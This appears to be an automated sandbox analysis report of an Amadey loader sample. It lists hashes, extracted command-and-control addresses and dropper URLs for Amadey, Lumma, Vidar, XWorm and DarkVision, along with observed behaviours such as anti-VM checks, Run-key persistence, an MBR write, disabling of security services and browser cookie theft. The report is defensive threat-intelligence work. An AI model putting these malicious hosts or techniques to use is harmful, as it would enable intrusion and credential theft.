amadey | cb29d42a11a1e61321f281567a80ef3e8f236658f199645c5c472b377202a666

Analysis

max time kernel
109s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
06/04/2025, 05:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

random.exe
Size

1.8MB
MD5

ff5c0c7000d1531338ca1946861dc170
SHA1

42884093990c2523ae57eb323fe331aa0528c449
SHA256

cb29d42a11a1e61321f281567a80ef3e8f236658f199645c5c472b377202a666
SHA512

69054d671eaf881b65b3fd7e17db35ab69084d11eb4ef6b199095afe43dbb9e6953a4c3f1d7c959e416ae5e7583ebf80d025641d49d2485eee65e3af8bdad1ff
SSDEEP

49152:LDStBiG7A9z8YWVrvRvRAoGRL72DDN9PD6CAMH:3oBiICzZWlvRop2/N9PO

Score

10^/10

amadey darkvision lumma vidar xworm 092155 f942dabea5a58a141236ae72e4720fbf bootkit credential_access defense_evasion discovery execution exploit persistence rat spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

http://176.113.115.6

Attributes

install_dir
bb556cff4a
install_file
rapes.exe
strings_key
a131b127e996a898cd19ffb2d92e481b
url_paths
/Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

https://5pepperiop.digital/oage

https://jrxsafer.top/shpaoz

https://plantainklj.run/opafg

https://puerrogfh.live/iqwez

https://quavabvc.top/iuzhd

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://rambutanvcx.run/adioz

https://ywmedici.top/noagis

https://cosmosyf.top/GOsznj

https://yjrxsafer.top/shpaoz

https://krxspint.digital/kendwz

https://rhxhube.run/pogrs

https://grxeasyw.digital/xxepw

https://xrfxcaseq.live/gspaz

https://pepperiop.digital/oage

https://tzpuerrogfh.live/iqwez

https://rodformi.run/aUosoz

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

Extracted

Family

xworm

Version

5.0

127.0.0.1:9000

45.134.39.20:9000

Mutex

oV8zKY7m1pKloRzQ

Attributes

install_file
USB.exe

aes.plain

Extracted

Family

vidar

Version

13.4

Botnet

f942dabea5a58a141236ae72e4720fbf

https://t.me/f07nd

https://steamcommunity.com/profiles/76561199843252735

Attributes

user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/132.0.0.0 Safari/537.36 OPR/117.0.0.0

Extracted

Family

darkvision

82.29.67.160

Attributes

url
http://107.174.192.179/data/003

https://grabify.link/ZATFQO

http://107.174.192.179/clean
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Amadey family
amadey
DarkVision Rat
DarkVision Rat is a trojan written in C++.
rat darkvision
Darkvision family
darkvision

Detect Vidar Stealer 12 IoCs

stealer

resource	yara_rule
behavioral1/memory/3684-1051-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/3684-1052-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/3684-1103-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/3684-1110-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/3684-1116-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/3684-1126-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/3684-1129-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/3684-1151-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/3684-1161-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/3684-1167-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/3684-1172-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7
behavioral1/memory/3684-1175-0x0000000000400000-0x0000000000429000-memory.dmp	family_vidar_v7

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2456-616-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Modifies security service 2 TTPs 2 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Security	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 5248 created 3400	5248	wQI4o11.exe	56
PID 1428 created 3400	1428	wQI4o11.exe	56

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Vidar family
vidar
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	65ebb600c2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempPMSRCBLMBRHFVZZ6QSFMWWMZEMVCTFPZ.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	5edbebbb11.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	a10c2b3606.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	random.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	rapes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
188	4056	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
10280	powershell.exe
11244	powershell.exe
4056	powershell.exe
6056	powershell.exe
31488	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Downloads MZ/PE file 18 IoCs

flow	pid	Process
247	5240	svchost.exe
53	4568	rapes.exe
53	4568	rapes.exe
53	4568	rapes.exe
186	4568	rapes.exe
238	4568	rapes.exe
272	1096	futors.exe
272	1096	futors.exe
188	4056	powershell.exe
235	4568	rapes.exe
327	1096	futors.exe
310	4568	rapes.exe
24	4568	rapes.exe
24	4568	rapes.exe
24	4568	rapes.exe
24	4568	rapes.exe
179	4568	rapes.exe
240	1096	futors.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
2372	takeown.exe
4184	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Uses browser remote debugging 2 TTPs 8 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
11400	msedge.exe
4208	chrome.exe
1960	chrome.exe
4440	chrome.exe
5768	chrome.exe
5124	chrome.exe
10748	msedge.exe
11396	msedge.exe

Checks BIOS information in registry 2 TTPs 18 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	5edbebbb11.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	a10c2b3606.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	random.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	b3e95edbbe.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempPMSRCBLMBRHFVZZ6QSFMWWMZEMVCTFPZ.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	65ebb600c2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	b3e95edbbe.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempPMSRCBLMBRHFVZZ6QSFMWWMZEMVCTFPZ.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	a10c2b3606.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	65ebb600c2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	rapes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	5edbebbb11.exe

Checks computer location settings 2 TTPs 9 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	rapes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	54a4fda18c.exe
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	272.exe
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	amnew.exe
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	272.exe
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	futors.exe
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	ec7c0303f2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Control Panel\International\Geo\Nation	random.exe

Deletes itself 1 IoCs

pid	Process
3028	w32tm.exe

Executes dropped EXE 30 IoCs

pid	Process
4568	rapes.exe
1732	YMauSAr.exe
1808	VrQSuEQ.exe
3084	rapes.exe
1704	af84e2ee69.exe
5796	65ebb600c2.exe
4484	b3e95edbbe.exe
4860	28824e67fe.exe
5356	54a4fda18c.exe
1416	272.exe
4384	272.exe
4388	d93e9cdc1d.exe
4196	a52ee28fb4.exe
5248	wQI4o11.exe
2468	3fe1650dab.exe
1992	TempPMSRCBLMBRHFVZZ6QSFMWWMZEMVCTFPZ.EXE
5920	5edbebbb11.exe
1428	wQI4o11.exe
1400	rapes.exe
1556	VrQSuEQ.exe
1268	amnew.exe
1096	futors.exe
1432	v7942.exe
5208	UZPt0hR.exe
5452	alex12312321.exe
2792	a10c2b3606.exe
760	tzutil.exe
3028	w32tm.exe
8092	ec7c0303f2.exe
10604	Constraints.com

Identifies Wine through registry keys 2 TTPs 8 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Software\Wine	a10c2b3606.exe
Key opened	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Software\Wine	random.exe
Key opened	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Software\Wine	rapes.exe
Key opened	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Software\Wine	65ebb600c2.exe
Key opened	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Software\Wine	TempPMSRCBLMBRHFVZZ6QSFMWWMZEMVCTFPZ.EXE
Key opened	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\Software\Wine	5edbebbb11.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2372	takeown.exe
4184	icacls.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{57F06FF0-B2D5-45F3-BFEE-970F76E38EFD} = "C:\\ProgramData\\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}"	svchost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\65ebb600c2.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10473180101\\65ebb600c2.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\b3e95edbbe.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10473190101\\b3e95edbbe.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\28824e67fe.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10473200101\\28824e67fe.exe"	rapes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-814918696-1585701690-3140955116-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\54a4fda18c.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\10473210101\\54a4fda18c.exe"	rapes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	ip-api.com

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1542.003

description	ioc	Process
File opened for modification	\??\PHYSICALDRIVE0	a10c2b3606.exe

AutoIT Executable 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x00070000000242ff-116.dat	autoit_exe
behavioral1/files/0x000a00000002431d-623.dat	autoit_exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
10068	tasklist.exe
9952	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

pid	Process
1068	random.exe
4568	rapes.exe
3084	rapes.exe
5796	65ebb600c2.exe
1992	TempPMSRCBLMBRHFVZZ6QSFMWWMZEMVCTFPZ.EXE
5920	5edbebbb11.exe
1400	rapes.exe
2792	a10c2b3606.exe

Suspicious use of SetThreadContext 7 IoCs

description	pid	Process	procid_target
PID 1808 set thread context of 2368	1808	VrQSuEQ.exe	98
PID 1704 set thread context of 1920	1704	af84e2ee69.exe	101
PID 5248 set thread context of 2456	5248	wQI4o11.exe	207
PID 1428 set thread context of 656	1428	wQI4o11.exe	219
PID 1556 set thread context of 4020	1556	VrQSuEQ.exe	223
PID 1432 set thread context of 3684	1432	v7942.exe	227
PID 5452 set thread context of 3436	5452	alex12312321.exe	238

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Windows Defender\de-DE\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe

Drops file in Windows directory 15 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SyntheticLil	ec7c0303f2.exe
File opened for modification	C:\Windows\NewcastlePeripherals	ec7c0303f2.exe
File opened for modification	C:\Windows\LocksWisconsin	ec7c0303f2.exe
File opened for modification	C:\Windows\AndorraPrint	ec7c0303f2.exe
File created	C:\Windows\Tasks\rapes.job	random.exe
File opened for modification	C:\Windows\DealersFocuses	ec7c0303f2.exe
File opened for modification	C:\Windows\AucklandChef	ec7c0303f2.exe
File opened for modification	C:\Windows\DependMedication	ec7c0303f2.exe
File opened for modification	C:\Windows\ExceedExec	ec7c0303f2.exe
File opened for modification	C:\Windows\CongressJvc	ec7c0303f2.exe
File opened for modification	C:\Windows\MadnessSet	ec7c0303f2.exe
File opened for modification	C:\Windows\PolarRail	ec7c0303f2.exe
File opened for modification	C:\Windows\LimeNirvana	ec7c0303f2.exe
File opened for modification	C:\Windows\ZuMiller	ec7c0303f2.exe
File created	C:\Windows\Tasks\futors.job	amnew.exe

Launches sc.exe 38 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2464	sc.exe
2300	sc.exe
3928	sc.exe
1412	sc.exe
4412	sc.exe
1188	sc.exe
4012	sc.exe
1432	sc.exe
5240	sc.exe
5180	sc.exe
4168	sc.exe
5920	sc.exe
5552	sc.exe
5264	sc.exe
3480	sc.exe
5848	sc.exe
3508	sc.exe
624	sc.exe
532	sc.exe
5356	sc.exe
5540	sc.exe
1248	sc.exe
3216	sc.exe
3224	sc.exe
1612	sc.exe
1508	sc.exe
3940	sc.exe
2064	sc.exe
4108	sc.exe
5080	sc.exe
4992	sc.exe
5760	sc.exe
2784	sc.exe
1972	sc.exe
5976	sc.exe
2972	sc.exe
5972	sc.exe
3016	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 6 IoCs

pid	pid_target	Process	procid_target
19076	11828	WerFault.exe	311
19100	12296	WerFault.exe	312
25360	19124	WerFault.exe	320
31336	11364	WerFault.exe	336
31344	25572	WerFault.exe	337
18764	25580	WerFault.exe	348

System Location Discovery: System Language Discovery 1 TTPs 48 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	28824e67fe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	272.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	amnew.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	extrac32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	28824e67fe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	54a4fda18c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3fe1650dab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	UZPt0hR.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wQI4o11.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	random.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	65ebb600c2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	272.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ec7c0303f2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Constraints.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d93e9cdc1d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wQI4o11.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a10c2b3606.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	5edbebbb11.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
